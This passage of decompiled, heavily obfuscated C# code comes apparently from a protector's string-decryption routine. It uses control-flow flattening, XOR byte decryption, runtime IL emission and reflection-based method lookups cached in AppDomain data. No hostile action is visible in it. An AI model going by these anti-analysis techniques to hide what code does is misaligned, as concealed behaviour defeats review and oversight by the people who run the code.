num1 = 161182821;
continue;
case 2627668:
ilGenerator.Emit(OpCodes.Callvirt, method8);
num1 = 161184513;
continue;
case 2627669:
bytes[39] = (byte) ((uint) bytes[39] ^ 80U);
num1 = 161182968;
continue;
case 2627670:
bytes[200] = (byte) ((uint) bytes[200] ^ 65U);
num1 = 161184693;
continue;
case 2627671:
bytes[119] = (byte) ((uint) bytes[119] ^ 29U);
num1 = 161184565;
continue;
case 2627672:
ilGenerator.Emit(OpCodes.Stloc_S, 6);
num1 = 161182868;
continue;
case 2627673:
bytes[206] = (byte) ((uint) bytes[206] ^ 126U);
num1 = 161184646;
continue;
case 2627674:
bytes[260] = (byte) ((uint) bytes[260] ^ 58U);
num1 = 161184629;
continue;
case 2627675:
ilGenerator.Emit(OpCodes.Ldc_I4_M1);
num1 = 161182867;
continue;
case 2627676:
ilGenerator.DeclareLocal(typeof (long));
num1 = 161182900;
continue;
case 2627677:
ilGenerator.Emit(OpCodes.Ret);
num1 = 161184710;
continue;
case 2627678:
bytes[26] = (byte) ((uint) bytes[26] ^ 88U);
num1 = 161184520;
continue;
case 2627679:
bytes[15] = (byte) ((uint) bytes[15] ^ 105U);
num1 = 161184595;
continue;
case 2627680:
label4 = ilGenerator.DefineLabel();
num1 = 161184604;
continue;
case 2627681:
bytes[213] = (byte) ((uint) bytes[213] ^ 74U);
num1 = 161182829;
continue;
case 2627682:
bytes[261] = (byte) ((uint) bytes[261] ^ 109U);
num1 = 161184533;
continue;
case 2627683:
ilGenerator.Emit(OpCodes.Callvirt, method13);
num1 = 161184525;
continue;
case 2627684:
ilGenerator.Emit(OpCodes.Callvirt, method4);
num1 = 161182933;
continue;
case 2627685:
ilGenerator.Emit(OpCodes.Ldloc_0);
num1 = 161184692;
continue;
case 2627686:
bytes[111] = (byte) ((uint) bytes[111] ^ 69U);
num1 = 161184678;
continue;
case 2627687:
bytes[4] = bytes[4];
num1 = 161184639;
continue;
case 2627688:
bytes[5] = (byte) ((uint) bytes[5] ^ 107U);
num1 = 161182846;
continue;
case 2627689:
bytes[239] = (byte) ((uint) bytes[239] ^ 95U);
num1 = 161184613;
continue;
case 2627690:
ilGenerator.Emit(OpCodes.Ldarg_0);
num1 = 161184627;
continue;
case 2627691:
bytes[10] = (byte) ((uint) bytes[10] ^ 46U);
num1 = 161184679;
continue;
case 2627692:
bytes[124] = (byte) ((uint) bytes[124] ^ 51U);
num1 = 161182941;
continue;
case 2627693:
ilGenerator.Emit(OpCodes.Conv_I4);
num1 = 161182853;
continue;
case 2627694:
bytes[95] = (byte) ((uint) bytes[95] ^ 60U);
num1 = 161184598;
continue;
case 2627695:
bytes[43] = (byte) ((uint) bytes[43] ^ 66U);
num1 = 161184526;
continue;
case 2627696:
bytes[104] = (byte) ((uint) bytes[104] ^ 126U);
num1 = 161184557;
continue;
case 2627697:
bytes[41] = (byte) ((uint) bytes[41] ^ 3U);
num1 = 161184683;
continue;
case 2627698:
bytes[240] = (byte) ((uint) bytes[240] ^ 87U);
num1 = 161182916;
continue;
case 2627699:
bytes[217] = (byte) ((uint) bytes[217] ^ 56U);
num1 = 161184618;
continue;
case 2627700:
bytes[38] = (byte) ((uint) bytes[38] ^ 15U);
num1 = 161184578;
continue;
case 2627701:
bytes[62] = (byte) ((uint) bytes[62] ^ 121U);
num1 = 161182914;
continue;
case 2627702:
bytes[157] = (byte) ((uint) bytes[157] ^ 52U);
num1 = 161182855;
continue;
case 2627703:
ilGenerator.MarkLabel(label3);
num1 = 161182793;
continue;
case 2627704:
label1 = ilGenerator.DefineLabel();
num1 = 161182872;
continue;
case 2627705:
bytes[231] = (byte) ((uint) bytes[231] ^ 2U);
num1 = 161182836;
continue;
case 2627706:
bytes[198] = (byte) ((uint) bytes[198] ^ 13U);
num1 = 161182925;
continue;
case 2627707:
bytes[208] = (byte) ((uint) bytes[208] ^ 73U);
num1 = 161184580;
continue;
case 2627708:
bytes[142] = (byte) ((uint) bytes[142] ^ 60U);
num1 = 161182946;
continue;
case 2627709:
bytes[218] = (byte) ((uint) bytes[218] ^ 51U);
num1 = 161184659;
continue;
case 2627710:
ilGenerator.Emit(OpCodes.Callvirt, method5);
num1 = 161184634;
continue;
case 2627711:
bytes[236] = (byte) ((uint) bytes[236] ^ 86U);
num1 = 161184556;
continue;
case 2627712:
bytes[147] = (byte) ((uint) bytes[147] ^ 5U);
num1 = 161184521;
continue;
case 2627713:
method14 = typeof (Hashtable).GetMethod(strArray[12], bindingAttr1, (Binder) null, new Type[2]
{
typeof (object),
typeof (object)
}, (ParameterModifier[]) null);
num1 = 161182845;
continue;
case 2627714:
bytes[86] = (byte) ((uint) bytes[86] ^ 32U);
num1 = 161182878;
continue;
case 2627715:
method15 = typeof (MemberInfo).GetMethod(strArray[5], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161182929;
continue;
case 2627716:
bytes[219] = (byte) ((uint) bytes[219] ^ 24U);
num1 = 161182908;
continue;
case 2627717:
bytes[14] = (byte) ((uint) bytes[14] ^ 118U);
num1 = 161184584;
continue;
case 2627718:
method13 = type1.GetMethod(strArray[8], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
num1 = 161182879;
continue;
case 2627719:
bytes[242] = (byte) ((uint) bytes[242] ^ 112U);
num1 = 161184558;
continue;
case 2627720:
bytes[137] = (byte) ((uint) bytes[137] ^ 29U);
num1 = 161184722;
continue;
case 2627721:
ilGenerator.Emit(OpCodes.Ldtoken, typeof (\uE008));
num1 = 161184727;
continue;
case 2627722:
ilGenerator.Emit(OpCodes.Ldloc_0);
num1 = 161184628;
continue;
case 2627723:
bytes[123] = (byte) ((uint) bytes[123] ^ 72U);
num1 = 161184635;
continue;
case 2627724:
ilGenerator.Emit(OpCodes.Stloc_1);
num1 = 161184697;
continue;
case 2627725:
bytes[144] = (byte) ((uint) bytes[144] ^ 37U);
num1 = 161184582;
continue;
case 2627726:
bytes[22] = (byte) ((uint) bytes[22] ^ 43U);
num1 = 161184575;
continue;
case 2627727:
ilGenerator.Emit(OpCodes.Call, method7);
num1 = 161184608;
continue;
case 2627728:
bytes[170] = (byte) ((uint) bytes[170] ^ 106U);
num1 = 161182818;
continue;
case 2627729:
bytes[207] = (byte) ((uint) bytes[207] ^ 7U);
num1 = 161184620;
continue;
case 2627730:
type1 = Type.GetType(strArray[16]);
num1 = 161182838;
continue;
case 2627731:
bytes[173] = (byte) ((uint) bytes[173] ^ 40U);
num1 = 161184555;
continue;
case 2627732:
bytes[222] = (byte) ((uint) bytes[222] ^ 17U);
num1 = 161184537;
continue;
case 2627733:
ilGenerator.Emit(OpCodes.Beq_S, label4);
num1 = 161184648;
continue;
case 2627734:
bytes[192] = (byte) ((uint) bytes[192] ^ 97U);
num1 = 161182854;
continue;
case 2627735:
bytes[91] = (byte) ((uint) bytes[91] ^ 47U);
num1 = 161184726;
continue;
case 2627736:
bytes[247] = (byte) ((uint) bytes[247] ^ 23U);
num1 = 161182825;
continue;
case 2627737:
ilGenerator.Emit(OpCodes.Callvirt, method15);
num1 = 161184600;
continue;
case 2627738:
bytes[184] = (byte) ((uint) bytes[184] ^ 37U);
num1 = 161182938;
continue;
case 2627739:
bytes[172] = (byte) ((uint) bytes[172] ^ 50U);
num1 = 161184644;
continue;
case 2627740:
label6 = ilGenerator.DefineLabel();
num1 = 161182964;
continue;
case 2627741:
bytes[115] = (byte) ((uint) bytes[115] ^ 63U);
num1 = 161184681;
continue;
case 2627742:
ilGenerator.Emit(OpCodes.Call, method1);
num1 = 161182970;
continue;
case 2627743:
ilGenerator.Emit(OpCodes.Ldc_I4_0);
num1 = 161184664;
continue;
case 2627744:
ilGenerator.DeclareLocal(typeof (Hashtable));
num1 = 161184651;
continue;
case 2627745:
bytes[25] = (byte) ((uint) bytes[25] ^ 55U);
num1 = 161184585;
continue;
case 2627746:
bytes[201] = (byte) ((uint) bytes[201] ^ 108U);
num1 = 161184687;
continue;
case 2627747:
ilGenerator.Emit(OpCodes.Ldloc_1);
num1 = 161184691;
continue;
case 2627748:
ilGenerator.Emit(OpCodes.Callvirt, method3);
num1 = 161182926;
continue;
case 2627749:
bytes[204] = (byte) ((uint) bytes[204] ^ 18U);
num1 = 161184684;
continue;
case 2627750:
bytes[117] = (byte) ((uint) bytes[117] ^ 86U);
num1 = 161182824;
continue;
case 2627751:
bytes[141] = (byte) ((uint) bytes[141] ^ 119U);
num1 = 161184619;
continue;
case 2627752:
bytes[37] = (byte) ((uint) bytes[37] ^ 46U);
num1 = 161184611;
continue;
case 2627753:
ilGenerator.Emit(OpCodes.Callvirt, method2);
num1 = 161184674;
continue;
case 2627754:
ilGenerator.Emit(OpCodes.Stloc_S, 5);
num1 = 161182889;
continue;
case 2627755:
bytes[196] = (byte) ((uint) bytes[196] ^ 70U);
num1 = 161182920;
continue;
case 2627756:
bytes[179] = (byte) ((uint) bytes[179] ^ 111U);
num1 = 161182883;
continue;
case 2627757:
bytes[246] = (byte) ((uint) bytes[246] ^ 13U);
num1 = 161184655;
continue;
case 2627758:
ilGenerator.MarkLabel(label6);
num1 = 161184605;
continue;
case 2627759:
bytes[89] = (byte) ((uint) bytes[89] ^ 63U);
num1 = 161184549;
continue;
case 2627760:
bytes[11] = (byte) ((uint) bytes[11] ^ 71U);
num1 = 161184561;
continue;
case 2627761:
bytes[112] = (byte) ((uint) bytes[112] ^ 8U);
num1 = 161184523;
continue;
case 2627762:
type2 = Type.GetType(strArray[17]);
num1 = 161182893;
continue;
case 2627763:
ilGenerator.Emit(OpCodes.Br_S, label6);
num1 = 161184672;
continue;
case 2627764:
bytes[71] = (byte) ((uint) bytes[71] ^ 119U);
num1 = 161182913;
continue;
case 2627765:
ilGenerator.Emit(OpCodes.Callvirt, method14);
num1 = 161182863;
continue;
case 2627766:
bytes[103] = (byte) ((uint) bytes[103] ^ 110U);
num1 = 161184615;
continue;
case 2627767:
ilGenerator.MarkLabel(label5);
num1 = 161184626;
continue;
case 2627768:
bytes[202] = (byte) ((uint) bytes[202] ^ 80U);
num1 = 161184711;
continue;
case 2627769:
bytes[2] = (byte) ((uint) bytes[2] ^ 122U);
num1 = 161182911;
continue;
case 2627770:
bytes[76] = (byte) ((uint) bytes[76] ^ 70U);
num1 = 161184607;
continue;
case 2627771:
bytes[205] = (byte) ((uint) bytes[205] ^ 68U);
num1 = 161184590;
continue;
case 2627772:
bytes[42] = (byte) ((uint) bytes[42] ^ 117U);
num1 = 161184632;
continue;
case 2627773:
ilGenerator.Emit(OpCodes.Callvirt, method9);
num1 = 161184570;
continue;
case 2627774:
bytes[116] = (byte) ((uint) bytes[116] ^ 10U);
num1 = 161184689;
continue;
case 2627775:
methodBuilder.DefineParameter(2, ParameterAttributes.None, "b");
num1 = 161182903;
continue;
case 2627776:
ilGenerator.Emit(OpCodes.Call, method6);
num1 = 161184654;
continue;
case 2627777:
bytes[92] = (byte) ((uint) bytes[92] ^ 73U);
num1 = 161182888;
continue;
case 2627778:
ilGenerator.Emit(OpCodes.Ldarg_0);
num1 = 161182974;
continue;
case 2627779:
bytes[164] = (byte) ((uint) bytes[164] ^ 111U);
num1 = 161184515;
continue;
case 2627780:
bytes[191] = (byte) ((uint) bytes[191] ^ 31U);
num1 = 161184641;
continue;
case 2627781:
bytes[138] = (byte) ((uint) bytes[138] ^ 35U);
num1 = 161182840;
continue;
case 2627782:
bytes[253] = (byte) ((uint) bytes[253] ^ 116U);
num1 = 161182902;
continue;
case 2627783:
bytes[128] = (byte) ((uint) bytes[128] ^ 117U);
num1 = 161182858;
continue;
case 2627784:
bytes[150] = (byte) ((uint) bytes[150] ^ 49U);
num1 = 161184597;
continue;
case 2627785:
bytes[177] = (byte) ((uint) bytes[177] ^ 95U);
num1 = 161184524;
continue;
case 2627786:
bytes[183] = (byte) ((uint) bytes[183] ^ 119U);
num1 = 161184653;
continue;
case 2627787:
bytes[156] = (byte) ((uint) bytes[156] ^ 38U);
num1 = 161184609;
continue;
case 2627788:
ilGenerator.Emit(OpCodes.Ldloc_S, 4);
num1 = 161184560;
continue;
case 2627789:
bytes[154] = (byte) ((uint) bytes[154] ^ 37U);
num1 = 161182965;
continue;
case 2627790:
method12 = typeof (AppDomain).GetMethod(strArray[14], bindingAttr1, (Binder) null, new Type[2]
{
typeof (string),
typeof (object)
}, (ParameterModifier[]) null);
num1 = 161184599;
continue;
case 2627791:
bytes[162] = (byte) ((uint) bytes[162] ^ 49U);
num1 = 161182937;
continue;
case 2627792:
bytes[203] = (byte) ((uint) bytes[203] ^ 71U);
num1 = 161184690;
continue;
case 2627793:
goto label_389;
default:
goto label_15;
}
}
label_389:
return methodBuilder;
default:
label_14:
num3 = 1138193139;
num4 = -1025290772;
goto label_4;
}
label_3:
num3 ^= 1137172511;
switch (num3)
{
case 1086188:
goto label_15;
case 1086189:
goto label_2;
default:
goto label_13;
}
label_4:
num4 ^= 1030982212;
switch (num4 + 7288921)
{
case 0:
goto label_14;
case 1:
goto label_3;
default:
goto label_12;
}
label_5:
int num5;
num5 ^= 925277017;
switch (num5)
{
case 2417062:
goto label_13;
case 2417063:
goto label_4;
default:
goto label_11;
}
label_6:
int num6;
num6 ^= 392171661;
switch (num6 + 5930250)
{
case 0:
goto label_12;
case 1:
goto label_5;
default:
goto label_10;
}
label_7:
int num7;
num7 ^= 1483683101;
switch (num7)
{
case 4068085:
goto label_11;
case 4068086:
goto label_6;
default:
goto label_9;
}
label_8:
int num8;
switch ((num8 ^ 1451832551) + 8094700)
{
case 0:
goto label_10;
case 1:
goto label_7;
}
label_9:
num8 = -1458747149;
goto label_8;
label_10:
num7 = 1481713640;
num8 = -1458747150;
goto label_8;
label_11:
num6 = -389705093;
num7 = 1481713643;
goto label_7;
label_12:
num5 = 922909439;
num6 = -389705094;
goto label_6;
label_13:
num4 = -1025290781;
num5 = 922909438;
goto label_5;
label_15:
num2 = -1131945112;
num3 = 1138193138;
goto label_3;
}
public string \uE001(int _param1) => (string) ((Hashtable) AppDomain.CurrentDomain.GetData(\uE008.\uE000))[(object) _param1];
}
}